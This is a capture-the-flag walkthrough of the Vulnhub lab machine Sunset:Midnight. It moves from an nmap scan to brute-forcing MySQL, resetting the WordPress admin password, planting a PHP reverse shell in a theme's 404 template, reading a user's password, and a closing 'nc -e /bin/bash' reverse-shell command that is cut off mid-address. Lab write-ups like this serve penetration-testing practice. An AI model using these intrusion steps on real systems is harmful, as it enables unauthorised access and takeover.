Sunset:Midnight - Walkthrough [Vulnhub]

Here's my solution for Sunset:Midnight.
The machine can be downloaded from here.

Nmap
Scanning for all TCP ports.
nmap -sC -sV -p- 192.168.1.107


We find 3 open ports.

Enumeration
Lets map the IP to host name- sunset-midnight, in the /etc/hosts file.


Browsing the web and checking the source, did not give us any hint, but we find that it is built on CMS- Wordpress.


Brute forcing Mysql on port 3306.


We get the password as- robert

Accessing Mysql.





On our machine, we create a password as- admin



On target machine, we change the password for user- admin.


Now we have the credentials as-
User: admin
Password: admin

We browse the /wp-login.php page and login as- admin.


Navigate to Appearance > Theme Editor, and select the theme as- Twenty Nineteen.


We select 404 Template, to place our php reverse shell payload.


Getting Access
To run the exploit we browse http://sunset-midnight/wp-content/themes/twentynineteen/404.php
And on the other hand we start the netcat listener.


We have a reverse shell.

Privilege Escalation.
We find the password for user- jose.



Lets switch to user- jose and get the User Flag.
su jose
password: 645dc5a8871d2a4269d4cbe23f6ae103


From Jose > Root
We check for SUID permissions.


Root Flag.

The commands are running fine, but we are not able to navigate to different directories, hence we try to get the normal reverse shell. We see netcat is present, we enter the payload. $ nc -e /bin/bash 19...
